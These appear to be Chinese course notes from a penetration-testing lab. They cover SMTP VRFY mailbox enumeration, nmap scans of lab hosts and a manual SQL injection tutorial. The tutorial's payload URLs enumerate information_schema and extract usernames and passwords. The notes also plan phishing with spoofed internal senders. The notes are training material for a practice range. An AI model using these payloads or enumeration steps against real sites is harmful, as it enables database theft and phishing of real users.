一：进度
1. 课程进度与目标
继续完成剩余主机/端口的漏洞评估
特别提到了先前关注的
77与88两台机器，以及其中留下的尚未深入的端口/服务。对 74 机器的 25 端口进行交互性测试
这部分牵涉到一个小专题：SMTP 协议及其后续在“发邮件或钓鱼”场景下的使用。
对 88 机器存在的 SQL 注入可能性做进一步探讨
明确指出 88 机器上发现的服务存在注入点，但之前并未做具体测试。这部分将开启一个“SQL 注入专题”。
此外还提到：“由于服务器最近做了更新，部分扫描结果和之前文档中的旧版本对不上，需要以本次新的扫描和演示为准。”
2. 剩余漏洞评估的范围
主要内容：
之前已看过
77与88的部分服务，但保留了两个关键端口/漏洞点尚未深挖：74 机器的
25端口（即 SMTP 端口）。88 机器与 SQL 注入专题相关的服务。
本次直播将重点涵盖：
74 机器 25 端口：了解 SMTP 协议的基础交互，并为后续频繁要用到的邮件交互或钓鱼做准备。
88 机器的 SQL 注入：进入一个较深入的注入话题，尤其是针对如何判断注入、如何绕过过滤、如何在数据库信息架构（information schema）中寻找目标数据等。
二：74 机器的 25 端口（SMTP 专题引入）
本部分是课程里重点展开的“SMTP/ESMTP 协议与渗透用途”的知识块。
1. 基本扫描信息
主要内容：
扫描 74 机器得到以下端口开放：
22（SSH），已看过其 Banner，但版本信息与此前历史文档略有差异，因为服务器更新导致 Banner 可能会出现变化。25（SMTP），尚未做交互测试。
由于近期服务器进行了更新，所以扫描时可能与过去出现的 Banner 不同，攻击面核心并未变化，但个别端口或版本信息会出现新差异。
2. Telnet 连接 25 端口的初步交互
主要内容：
通过
telnet 10.1.1.74 25或者nc 10.1.1.74 25等方式连接 SMTP 服务器，观察其返回的 Banner
常见可能出现的延迟：
有时 SMTP 服务器在用 telnet 或 netcat 连接时，最初会停顿几秒才返回欢迎信息，不要以为没反应就立即断开。
退出时，可使用
Ctrl + ]（右方括号）进入 telnet 的命令行模式，再输入quit。
收到的 Banner 显示：
ESMTP Postfix ...ESMTP = Extended SMTP（扩展 SMTP 协议），说明此服务器支持多种额外特性。
Postfix = 当今比较流行的邮件传输代理（MTA），常用来替代旧的 sendmail。
3. SMTP/ESMTP 协议概念与历史
主要内容：
SMTP（Simple Mail Transfer Protocol）是最基础且广泛使用的邮件传输协议，承担电子邮件路由与传输功能。
不存储邮件：SMTP 只负责在服务器间转发邮件，真正存储邮件需要
POP3或IMAP等协议来完成。现代企业或公共邮箱（如 Gmail、163、QQ 邮箱等）依旧在底层使用 SMTP/ESMTP。
ESMTP 是对 SMTP 的扩展，支持更多指令与特性（如对邮件大小限制的协商、队列、验证等）。
老旧的
sendmail存在很多历史遗留漏洞，有时在物联网或老旧系统中依旧可见。Postfix广泛应用，且支持同时以 SMTP 或 ESMTP 方式对外提供服务。
4. SMTP 状态码与返回信息
SMTP 状态码对照表
这样更清晰，你可以直接参考！
SMTP 的三位数字状态码含义，可与 HTTP 协议的 2xx/3xx/4xx/5xx 异曲同工，只是具体码值不完全一致。
5. 常见 SMTP 扩展指令
主要内容：
这些 250 开头的响应代码是 SMTP 服务器在EHLO（Extended Hello）命令后返回的服务器能力列表。它们表示服务器支持的 SMTP 扩展功能，具体解释如下：这些扩展特性让 SMTP 服务器能支持更高级的邮件功能，例如优化数据传输、增强错误信息、支持多字节字符等。你可以通过
EHLO命令获取这些扩展信息，确保邮件客户端或服务器正确配置。当输入
EHLO <任意标识>时，服务器会返回一连串250-...扩展特性：PIPELINING：管线化执行，允许客户端在等待上一个命令响应前先发多个 SMTP 命令。SIZE <数值>：该服务器允许发送的邮件大小上限（如10240000字节约 10M）。VRFY：可验证邮箱地址是否存在。ETRN：客户端可请求服务器进行队列投递等操作。ENHANCEDSTATUSCODES：表示服务器可返回拓展状态码。SMTPUTF8：支持 UTF-8 编码邮件。
6. VRFY 命令与信息收集用途
主要内容：
VRFY <邮箱地址>：用于验证目标邮箱在此 SMTP 服务器上是否有效。实际测试：
对不存在的邮箱（比如瞎写的），服务器常返回
550 5.1.1 <User unknown>或类似拒收信息。如果服务器配置里允许 VRFY（有些服务器会禁用），就能根据返回码区分哪些地址有效。
渗透测试用途：
收集有效邮箱：可用于社工钓鱼、后续爆破或撞库。
确认服务器配置：判断 Postfix/SENDMAIL 是否开启严格验证。
可能存在的漏洞：早年 SENDMAIL 曾出现过远程溢出或提权漏洞，需搜寻对应版本。
7. SMTP 在渗透中的综合价值
主要内容：
利用服务器自身的漏洞
需进一步枚举
Postfix具体版本，查询公开漏洞数据库（Searchsploit、Google、GitHub 等）看是否可用。
收集信息
横向收集内部用户名、邮箱、邮件配置等。
钓鱼和发件
有 SMTP 权限时，可直接伪造企业内部发件地址，提升钓鱼成功率。
不过在真实环境下，渗透者常自行搭建外部邮件服务器，也可能无需利用目标 SMTP，但此处“靶场”场景需要你对其原理非常熟悉，为后续模拟真实内部邮件发送做准备。
三：88 机器与 SQL 注入专题的引入
在 88 端口上发现疑似存在 SQL 注入的功能，需要正式开启“SQL 注入”专题。
绕过？这种事。绕过和免杀一样。在谜底没揭晓之前，你尽可能有思维方式，这才有价值的。
1. 回顾对 88 的初步观察
主要内容：
88 端口提供了一个 Web 服务（之前已发现域名或 CMS 可能疑似第三方建站程序）。
11翻译
提示：此处有 SQL 注入点，需要一个较深入且系统化的注入话题来展开。
2. 常见SQL注入与基础命令
基本SQL注⼊（⼿⼯） 假设我们在 redteamnotes.com 的⼀个搜索⻚⾯执⾏ SQL 注⼊。URL 是：
http://redteamnotes.com/search.php?query=abc该⻚⾯的后台 SQL 查询可能是：
SELECT title, description FROM products WHERE name = 'abc';如果参数 query 没有进⾏适当的过滤和转义，这个⻚⾯可能会存在 SQL 注⼊漏洞。
第⼀步：测试列数（⽅法⼀： ORDER BY 测试）
为了开始注⼊，我们⾸先要确定 SQL 查询中返回的列数。可以通过 ORDER BY 语句来测试查询中列的数量。例如：
http://redteamnotes.com/search.php?query=abc' ORDER BY 1--⻚⾯正常返回，说明⾄少有 1 列。我们继续增加列号：
http://redteamnotes.com/search.php?query=abc' ORDER BY 2--如果⻚⾯继续正常显示，说明⾄少有 2 列。我们继续增加列号：
http://redteamnotes.com/search.php?query=abc' ORDER BY 3--如果到 ORDER BY 4 时⻚⾯出现错误，说明查询中只有 3 列。因此，我们推测这个查询中可能返回 3 列数据。
第⼆步：验证列数（⽅法⼆： UNION + NULL 测试） 为了验证我们推测的列数，我们可以使⽤ UNION SELECT NULL 来测试是否成功匹配列数。因为 NULL可以适⽤于任意类型的列，所以我们可以使⽤ NULL 来逐步测试：
http://redteamnotes.com/search.php?query=abc' UNION SELECT NULL, NULL, NULL--如果⻚⾯正常显示，说明 3 列的推测是正确的。如果我们增加⼀列，例如：
http://redteamnotes.com/search.php?query=abc' UNION SELECT NULL, NULL, NULL, NULL--此时如果⻚⾯报错，说明列数超出，确认 3 列是正确的。
第三步：通过 AND 1=2 检查结构（⽅法三） 接下来，我们可以通过 AND 1=2 构造⼀个始终为假的条件，确保 UNION SELECT 查询的列数正确，并不会破坏⻚⾯的整体结构。因为 1=2 永远为假，不会返回任何数据：
http://redteamnotes.com/search.php?query=abc' AND 1=2 UNION SELECT 1, 2, 3--此时，如果⻚⾯的结构正常显示但没有数据返回，说明我们确认了列数为 3。如果⻚⾯报错，说明列数不匹配，需要调整。
第四步：利⽤报错信息（⽅法四） 有时⽬标应⽤程序会返回有⽤的错误信息，帮助我们确认列数。我们可以尝试输⼊带有错误的注⼊语句：
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, 2--如果出现类似的错误提示：
The used SELECT statements have a different number of columns.这种信息直接告诉我们列数不匹配。我们可以继续增加列数，直到错误消失：
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, 2, 3--当⻚⾯正常显示时，列数就是 3。
第五步：通过布尔盲注验证（⽅法五） 在布尔盲注的场景下，我们可以通过观察⻚⾯的响应变化来确认列数。假设我们执⾏以下注⼊：
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, 2--如果⻚⾯的响应和正常⻚⾯⼀致，说明列数不对。如果不⼀致，我们可以继续尝试：
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, 2, 3--当⻚⾯响应正常时，说明列数为 3。
第六步：使⽤ GROUP BY 测试（⽅法六） 最后，我们也可以使⽤ GROUP BY 来确定列数。通过逐步增加 GROUP BY 的列，直到⻚⾯报错为⽌：
http://redteamnotes.com/search.php?query=abc' GROUP BY 1--⻚⾯正常显示，我们继续增加：
http://redteamnotes.com/search.php?query=abc' GROUP BY 1, 2--当⻚⾯在 GROUP BY 1, 2, 3 时正常显示，⽽ GROUP BY 1, 2, 3, 4 报错时，说明列数为 3。
最终验证：使⽤ UNION 获取数据
确定列数为 3 后，我们可以使⽤ UNION 来获取实际的数据。⽐如获取当前数据库的名称：
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, database(), 3--如果第⼆列的结果可⻅，⻚⾯会返回当前数据库的名称。
进⼀步列出数据库中的表名：
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database()--这将列出当前数据库中的所有表。
要列出某个表中的列名，例如 users 表，可以执⾏：
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'--这会列出 users 表中的所有列名。
绕过字符过滤、编码、大小写、特殊关键字等
基于错误回显的注入、盲注、二阶注入（second-order）
不同数据库（MySQL、PostgreSQL、MSSQL 等）之间的注入差异
如何在实战中规避安全设备、WAF 等的过滤
最后还会讨论各种防御思路，帮助蓝队也了解可能的安全加固方式。
3. SQL 注入中 information_schema 使用示例
1. information_schema 表利⽤
information_schema 是 MySQL、MariaDB、PostgreSQL 等数据库系统中⾮常重要的系统数据库，它包含了关于数据库、表、列等元数据信息。 当我们进⾏ SQL 注⼊时，通过访问 information_schema 可以枚举出数据库中的表名、列名、约束等信息。这是获取数据库结构信息的主要⽅式之⼀。
下⾯我将详细解释 information_schema 的各个常⽤表，并展示如何在 SQL 注⼊中使⽤这些表来枚举数据库的信息。
常⽤的 information_schema 表：
information_schema.tables ：该表存储了数据库中的所有表信息。常⽤的列有：
table_schema ：表所属的数据库。
table_name ：表的名称。
table_type ：表的类型（ BASE TABLE 或 VIEW ）。information_schema.columns ：该表存储了所有表的列信息。常⽤的列有：
table_schema ：列所属的数据库。
table_name ：列所属的表。
column_name ：列的名称。
data_type ：列的数据类型。information_schema.schemata ：该表存储了数据库的信息。常⽤的列有：
schema_name ：数据库的名称。information_schema.key_column_usage ：该表存储了表中主键和外键的列信息。
constraint_name ：约束名称。
table_name ：列所属的表名。
column_name ：列名。
2. SQL 注入中 information_schema 使用示例
假设我们已经通过 SQL 注⼊进⼊了⽬标⽹站 redteamnotes.com ，并知道了查询的列数（例如 3 列）。我们可以通过访问 information_schema表来获取数据库和表的结构信息。
枚举数据库名称
通过查询 information_schema.schemata，我们可以列出所有数据库的名称：http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata--这样⻚⾯会显示所有数据库的名称。如果查询正常，⻚⾯会返回所有数据库，⽐如：
information_schema
mysql
redteam_db （⽬标数据库）枚举表名
确定⽬标数据库（如 redteam_db ）后，我们可以从 information_schema.tables 表中列出该数据库中的所有表名：http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='redteam_db'--这将返回 redteam_db 数据库中的所有表名，⽐如：
users
orders
products枚举列名
确定了感兴趣的表（如 users 表）后，我们可以使⽤ information_schema.columns 来列出 users 表中的列名：http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'--这样我们就能看到 users 表中的列名，⽐如：
id
username
password
email获取特定列的详细信息
通过 information_schema.columns ，我们还可以查询特定列的更多详细信息，例如数据类型：http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, column_name, data_type FROM information_schema.columns WHERE table_name='users'--⻚⾯会返回 users 表中每个列的类型信息，⽐如：
id - int
username - varchar
password - varchar枚举表的主键
通过 information_schema.key_column_usage ，我们可以查看某个表的主键：http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, column_name, constraint_name FROM information_schema.key_column_usage WHERE table_name='users' AND constraint_name='PRIMARY'--这将列出 users 表中的主键列，⽐如：
id
综合示例：
SQL 注⼊中的 information_schema 使⽤ 假设我们通过 SQL 注⼊成功访问了⽬标⽹站的数据库，我们希望获取所有⽤户的⽤户名和密码信息。我们可以按以下步骤进⾏：
枚举数据库：通过查询 information_schema.schemata 获得所有数据库的名称。
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata-- -列出数据库中的表：假设⽬标数据库名为 redteam_db ，我们可以列出其下所有表的名称。
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='redteam_db'--枚举感兴趣表的列：假设我们发现了 users 表，通过查询 information_schema.columns 列出 users 表中的所有列名。
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'--提取数据：通过已经获取到的列名（如 username 和 password ），我们可以直接从 users 表中提取数据。
http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, username, password FROM users--information_schema 是渗透测试中⽤于枚举数据库结构的⾮常重要的⼯具。通过它，可以获取数据库中的表、列、键、约束等元数据信息。在SQL 注⼊攻击中，掌握 information_schema 的使⽤技巧，能够帮助我们迅速定位⽬标数据并展开后续的渗透测试操作。
3. information_schema 表各数据库的适用情况
MySQL、MariaDB和 PostgreSQL都有 information_schema 表。这是 SQL 标准定义的⼀部分，⽤于提供数据库的元数据信息，包含关于数据库、表、列、约束等的详细信息，红队攻击时可⽤于获取数据库的结构和配置等元数据。
MySQL
MySQL 从 5.0 版本开始引⼊了 information_schema ，⽤于提供对数据库元数据的访问。
常⽤的元数据表包括：
schemata ：存储数据库的列表。
tables ：存储所有数据库中的表的信息。
columns ：存储表中的列的信息。MariaDB
MariaDB 是 MySQL 的⼀个分⽀，基本上与 MySQL 完全兼容，因此 MariaDB 也包含了 information_schema ，并且与 MySQL 的⽤法⼀致。
MariaDB 提供的 information_schema ⽤于访问数据库的元数据信息。Percona Server 也是 MySQL 的⼀个分⽀，继承了 MySQL 的元数据功能， 因此它也包含 information_schema 。
PostgreSQL
PostgreSQL 同样⽀持 information_schema ，并且是完全遵循 SQL 标准的。PostgreSQL 的information_schema 提供与 MySQL 和 MariaDB 类似的功能，包括访问数据库、表、列等信息。PostgreSQL 的元数据表也有类似：information_schema.schemata ：列出所有的 schema（类似于 MySQL 的数据库）。
information_schema.tables ：列出所有表。
information_schema.columns ：列出表中的列信息。除了 MySQL、MariaDB 和 PostgreSQL，还有其他数据库系统也或多或少⽀持 information_schema ，详细说明如下：
Microsoft SQL Server
SQL Server 从 2005 版本开始⽀持 information_schema 。与其他数据库类似，它也提供了查询元数据的⽅式，⽤于列出数据库、表、列等信息。不过，SQL Server 也有⾃⼰特定的系统视图（如 sys.tables 、 sys.columns ），功能⽐ information_schema 更强⼤。Oracle
Oracle 数据库并不使⽤ information_schema 。Oracle 有⾃⼰的⼀套数据字典视图（如DBA_TABLES 、 ALL_TABLES 、 USER_TABLES 等）来管理元数据。Oracle 的数据字典提供了⽐ information_schema 更丰富的功能。SQLite
SQLite 没有完整的 information_schema ，但它有类似的 sqlite_master 表，该表提供了数据库内所有表、索引、视图和触发器的信息。尽管没有标准的 information_schema ，但 sqlite_master 表的作⽤与之类似。IBM Db2
IBM Db2 数据库也实现了 information_schema 。与其他数据库⼀样，Db2 的information_schema 提供了数据库、表和列的元数据访问。总之，数据库系统中， information_schema 是 SQL 标准的⼀部分，⼴泛⽤于 MySQL、MariaDB、PostgreSQL、Microsoft SQL Server 和 IBM Db2 等数据库中。尽管 Oracle 和 SQLite 没有完整的 information_schema ，它们仍然提供了类似功能的系统视图或表⽤于管理数据库的元数据。 不同数据库的 information_schema 可能略有差异，但其核⼼功能都是相同的——提供有关数据库结构和元数据的信息，帮助渗透测试⼈员和红队 了解数据库的内部结构。
后续10⽉8⽇及当周进度
sql注⼊专题：注⼊绕过、盲注、错误注⼊、⼆阶注⼊、NoSQL注⼊（内容体量⼤，未必⼀次讲完。）
10.10.110.88的SQL注⼊实操和新进度下的漏洞评估、攻防思路分析。（10⽉12⽇周六⼀定会完成这个 进度） 拓展的内容都会按排在周⼆，周六⼀定是实操进度，不会因拓展影响进度。所以，⼤家⼀定要坚持进度主线
4. SQL 注入专题教学规划
主要内容：
课程笔记中提到将分为好几个小节，非常深入：
字符绕过
讲解如何应对常见拦截或转义，以及常见“单引号变形”“关键字替换”策略。
基于错误回显的注入
如何利用数据库报错信息获取敏感数据。
二阶注入
先将恶意 Payload 存于某处（数据库），在后续其他 SQL 语句执行时才被触发。
不同数据库版本下的注入区别
MySQL、PostgreSQL、MSSQL、Oracle、SQLite 等都可能有特定的关键字、函数、注释方式或版本差异。
盲注
不返回明显错误信息或数据回显时，通过时间延迟或布尔判断推断内部数据。
最后：如何在代码层面防止注入（虽然是蓝队话题，但红队也需要知道其原理和常见漏洞点）。
讲师强调：最有价值的是理解思路。如果只拿到一个“固定绕过字符”，那只是碰巧知道，离真正“举一反三”差很远。
四：对其余机器（如 231 与 242）扫描结果的分析
此部分围绕剩余尚未详细讨论的主机：
231、242的端口扫描与可能的域名解析做了深入说明。
1. 231 机器的扫描与证书信息
1.1 扫描与发现的服务
主要内容：
231只开放了443端口，是一个开启了 SSL/TLS 的 Apache 服务器。┌──(root㉿kali)-[~/Desktop/APTLabs] └─# nmap --min-rate 10000 -p- 10.10.110.231 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 06:56 EST Nmap scan report for 10.10.110.231 Host is up (0.24s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 16.46 seconds┌──(root㉿kali)-[~/Desktop/APTLabs] └─# nmap -sT -sC -sV -O -p443 10.10.110.231 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 08:06 EST Nmap scan report for 10.10.110.231 Host is up (0.42s latency). PORT STATE SERVICE VERSION 443/tcp open ssl/http Apache httpd 2.4.52 ((Ubuntu)) | tls-alpn: |_ http/1.1 |_http-server-header: Apache/2.4.52 (Ubuntu) |_ssl-date: TLS randomness does not represent time |_http-title: 400 Bad Request | ssl-cert: Subject: commonName=0x0security.com/organizationName=GiganticHosting CA/stateOrProvinceName=Stockholm/countryName=SE | Subject Alternative Name: DNS:0x0security.com, DNS:*.0x0security.com | Not valid before: 2024-07-16T15:39:00 |_Not valid after: 2026-07-16T00:00:00 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 53.50 seconds
Robert,product expert robert@0x0security.com Ralph,business dealer Ralph@0x0security.com Emma,business manager Emma@0x0security.com Mark,sales manager Mark@0x0security.com
拿到服务的证书时，发现证书中包含了：
颁发机构：
gigantic hosting CA（自签？靶场内网自建 CA）绑定域名中，出现了
*.security.xxx或者类似泛域名。另有域名
nextcloud.xxxx、storage.xxxx等在证书中。
这里的CA证书是10.10.110.62:8080/admin那台Django administrator机器管理的
这些证书信息通常非常可靠，往往会暴露真实域名或者内部域名。
讲师再次提醒：在真实环境中，查看目标证书字段是信息收集的关键。
1.2 浏览器访问与业务信息
主要内容：
访问
https://10.10.110.231会出现一个业务站点——0x0security.com之类内容（示例）。站点上可能展示公司简介、专家团队、邮箱地址，或客户反馈等信息。
渗透测试意义：
收集人名与邮箱：便于未来进行定向社工、碰撞、钓鱼。
分析是否使用常见 CMS：WordPress、Joomla、国产 CMS、或定制开发网站。
验证站点功能：登录表单？查询功能？有无注入？
网页下方若有提交表单（如“联系我们”），也要检查潜在 XSS/SQL 注入等。
1.3 与 DNS 解析相关
主要内容：
从之前
13号机器提供的 DNS 列表可见许多子域名。针对231这台机器，需要配合主机头或本地 hosts 解析去访问不同域名，看是否有多站点共用同一 IP。例如：
storage.0x0security.com、nextcloud.0x0security.com都可能指向10.10.110.231。此步骤：将这些子域名加进本地
hosts，再用浏览器访问对应域名，可发现隐藏或子路由站点。
2. Next Cloud 发现与初步分析
2.1 Next Cloud 的由来
内容：通过在本地
hosts增加解析：
10.10.110.231 0x0security.com
10.10.110.231 nextcloud.0x0security.com
10.10.110.231 storage.0x0security.com为什么要解析到231这台机器上，不能使用别的机器，首先，解析到的主机要有WEB服务要不然你解析没用，那别的机器呢
10.10.110.2:80 和 10.10.110.2:443
10.10.110.13:80 和 10.10.110.13:443---开放了443
10.10.110.21:80 和 10.10.110.21:443
10.10.110.50:80 和 10.10.110.50:443
10.10.110.62:80 和 10.10.110.62:443
10.10.110.74:80 和 10.10.110.74:443
10.10.110.88:80 和 10.10.110.88:443---开放了80
10.10.110.231:80 和 10.10.110.231:443---开放了443---Welcome to 0x0 Security
10.10.110.242:80 和 10.10.110.242:443---开放了80---Gigantic Hosting---VPS服务商13是PowerGLSB
88是一个数据库检索站点
231是公司团队介绍
242是VPS服务商
看完后你应该就知道了吧
然后访问对应域名，看到一个 Next Cloud 登录页面。
Next Cloud：是一款私有云存储软件，常用于文件共享、协作等。说明该企业可能内部存储很多资料在此。
对渗透测试的启示：
云端存储很可能包含机密信息。若能拿下 Next Cloud，可能拿到文档、凭证、内部资料。
检查是否存在已知漏洞：例如越权访问、CSRF、弱密码、版本缺陷等。
课程演示提到：
登录界面可能配置了双因素验证（2FA）。
仅用暴力爆破用户名/密码，很可能会遇到锁定或强验证，难度较大。
讲师提示：最终靶场中，Next Cloud 可能还是一个有效突破口，但需要合理的思路排序、密码获取或其他漏洞链的结合。
3. 242 机器扫描与业务站点
内容：
242机器只开放了80端口，运行 Apache。站点为MSP（Managed Service Provider，托管服务提供商）
┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# nmap --min-rate 10000 -p- 10.10.110.242
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 10:47 EST
Nmap scan report for 10.10.110.242
Host is up (0.58s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 19.43 seconds┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# nmap -sT -sC -sV -O -p80 10.10.110.242
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 10:47 EST
Nmap scan report for 10.10.110.242
Host is up (1.0s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Unix))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.41 (Unix)
|_http-title: Gigantic Hosting | Home
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.44 seconds┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# nmap --script=vuln -p80 10.10.110.242
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 10:49 EST
Nmap scan report for 10.10.110.242
Host is up (0.50s latency).
PORT STATE SERVICE
80/tcp open http
|_http-trace: TRACE is enabled
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 172.17.0.2
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.110.242
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.10.110.242:80/support.html
| Form id:
|_ Form action: https://10.13.38.16/contact-post.html
| http-enum:
| /css/: Potentially interesting folder w/ directory listing
| /images/: Potentially interesting folder w/ directory listing
|_ /js/: Potentially interesting folder w/ directory listing
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Nmap done: 1 IP address (1 host up) scanned in 359.02 seconds2：10：33
访问后发现站点内容类似一个“尚未完成”或模板站点，看起来并无多少实质信息，仅有占位符文本或简单企业介绍。
同样在页面可能看到若干邮箱：如
sales@xxx、news@xxx等，都需要记录以便后续信息收集。子域名扫描／主机头测试未发现更多有价值的目录或应用。
结论：该站点暂时攻击面不大，但所有信息（邮箱、人员名录）仍需保存，以备将来在钓鱼场景或更深的社工中使用。
五：回顾所有信息收集与下一步分析
此段为课程对当前所有外部暴露面（13、74、88、231、242、62、其他提到过的机器）进行综合回顾。
1. 已发现的重要点
74：
25 端口（SMTP）：可验证邮箱、ESMTP 扩展命令，潜在钓鱼发送或账号探测。
22 端口：尚无明显弱口令。
88：
Web 服务可能存在 SQL 注入。
需要配合“注入专题”深入。
13：
DNS 服务器，曾拿到一些信息，含大量子域名。
还发现存在
Jangle Admin后台（62 机器？）等，但尚无凭证登录。
231：
HTTPS，证书中透露出域名
nextcloud.xxx、storage.xxx。访问后确认是 Next Cloud 私有云，可能是突破口但带有 2FA 等复杂防护。
242：
HTTP，简单模板业务站点，信息量不大。
2. 渗透测试脉络
主要内容：
目前手里虽掌握了大量网络与服务信息，但尚未获得明确可直接利用的高权限凭证。
讲师指出：真实攻防中若外部主机没有明显漏洞时，就需要转向**“社会工程”或“钓鱼”**策略，或者深挖某些较复杂的漏洞（例如注入绕过、二阶注入等）。
靶场后续环节会基于以上思路做进一步演示：
SMTP+邮箱：发起钓鱼的可行性。
SQL 注入：利用 88 机器做信息泄露与数据库提权。
Next Cloud：若在后续阶段获取到某些内部员工密码，可尝试登录验证。
Jangle Admin（62？）：可能管理内部 CA 证书、内网配置等，一旦拿下，可对 SSL/TLS、VPN 甚至整个内网做“完全”掌控。
六：SQL 注入专题的系统讲解（概念部分）
从约 01:10:00 ~ 01:31:00，课程对 SQL 注入基础做了一个“预备知识”的阐述。这部分是为之后的注入实战做铺垫，并未立刻演示 88 机器的注入点，而是先把注入知识点梳理一遍。
1. SQL 注入的基本步骤与思路
初步探测：
在 URL 参数、POST body、表单输入等处输入特殊字符（单引号、双引号、
)等），观察返回是否出错。若有报错（如
You have an error in your SQL syntax等）或页面行为异常，即可判断疑似注入点。
测试列数（union 或 order by 等）：
order by N逐列增减，直到出错，判断表的列数。union select 1,2,3,...同样判断列数，并确定哪一列可回显数据。
检索数据库信息：
了解数据库类型（MySQL、PostgreSQL、MSSQL），再针对性使用
information_schema（或对应系统表）获取表名、列名。
构造最终 payload：
union select <想要的数据>… => 回显敏感字段，如 username/password。若是盲注，则通过布尔判断或时间延迟方式逐位探测。
2. information_schema 架构
课程讲解要点：
information_schema 是国际标准的“数据库的数据库”，存储所有库名、表名、列名的元信息。
MySQL / MariaDB 在 5.0 以上版本普遍提供
information_schema.tables/information_schema.columns。PostgreSQL 与它也有类似结构；SQL Server 自家则使用
sys.tables/sys.columns或INFORMATION_SCHEMA.TABLES等略有差异；Oracle 则是dba_tables/all_tables等。初学时可牢记 MySQL 或 PostgreSQL 的
information_schema表结构，用select table_name from information_schema.tables where table_schema='xxx'之类方法逐级枚举数据库和表。
3. 简单示例：Union 注入
示例脚本：
union select 1,2,3直到匹配列数，若 3 列成功不报错则说明至少有 3 列。利用第 n 列回显关键数据
database()或version()，进行更多信息收集。
课程补充：
要熟悉手工注入的流程，不要过度依赖自动化工具 (
sqlmap等)。因为遇到过滤或 WAF，还需手动调整 Payload。
七：SQL 注入的更多进阶要点（预告）
时间段约 01:31:00 ~ 02:00:00，讲师指出后面会针对绕过、二阶注入、基于错误回显、盲注、针对不同数据库的注入细节等做详细拆解。并再三强调“思路远比记住具体 payload 更重要”。
1. 绕过专题
包含对常见字符过滤（单引号、注释符、关键字大小写替换）等做系统说明。
将给出 Java 框架（Spring MVC）做过滤的典型示例代码，讲解如何一步步找出绕过点。
2. 错误回显与二阶注入
错误回显：利用数据库
报错信息来快速获取字段数、字段名或任意查询结果。二阶注入：常见于先写入数据库一个字段，后续的逻辑再次执行时拼接该字段而造成注入。
3. 不同数据库的注入语法
MySQL vs. PostgreSQL vs. MS-SQL vs. Oracle vs. SQLite 等。
主要区别在函数名（如
concatvs.||），系统库表名，分页语法，注释方式（--/#//* ... */）等。
4. 未来课程衔接：钓鱼与内网渗透
一旦 SQL 注入或外网钓鱼得到用户/管理员账号，便可进一步拿到内网立足点，再做提权、横向移动等。
后续会讲到
powershell专题、cobalt strike、免杀、各种绕过等。
八：课程结尾与补充问答
最后十几分钟（从约 02:00:00 ~ 02:56:00）的收尾，
1. 对已学内容的思维反思
讲师多次强调：凡事要注意“信息收集的完整度”。例如在发现
nextcloud.xxx、storage.xxx的时候，要懂得怎么联想到“同 IP 可能绑定多个域名”，并在hosts进行配置访问。SMTP 协议、Telnet 交互、邮件验证等，都属于看似“古老”却仍在大量使用的技术点，尤其在靶场或实战中屡屡出现。
2. 接下来的主要方向
充分尝试 SQL 注入
在 88 机器上做各种手动探测与思路尝试，看看能否在过滤/绕过方面有所突破。
钓鱼专题
结合 74 机器的 SMTP 服务，对已经收集到的邮箱（在各页面收集到的
@xxx地址）可能进行测试、投递。需要深入了解邮件头伪造、客户端工具配置、可能的中继限制等。
Next Cloud 弱密码或其他漏洞
虽然有 2FA，但依旧可以留意公开的 Next Cloud 漏洞、配置缺陷；或等待后续拿到员工账号后做撞库。
3. 提示学员假期可做的准备
再次回看拓展知识：
DNS 解析与证书：如何查阅证书、使用子域名、绑定 hosts。
Telnet/SMTP/VRFY：实际尝试命令行与服务器交互，体会延迟、状态码等。
SQL 注入基础：例如在 DVWA 练习手工注入，熟练掌握 union、order by、information_schema 等操作。
提醒：切勿只看最终答案，而要多花时间在思路和手工过程上，才能在真正的渗透环境中灵活应对。
4. 课程收尾
讲师对课程做出总结，表示：
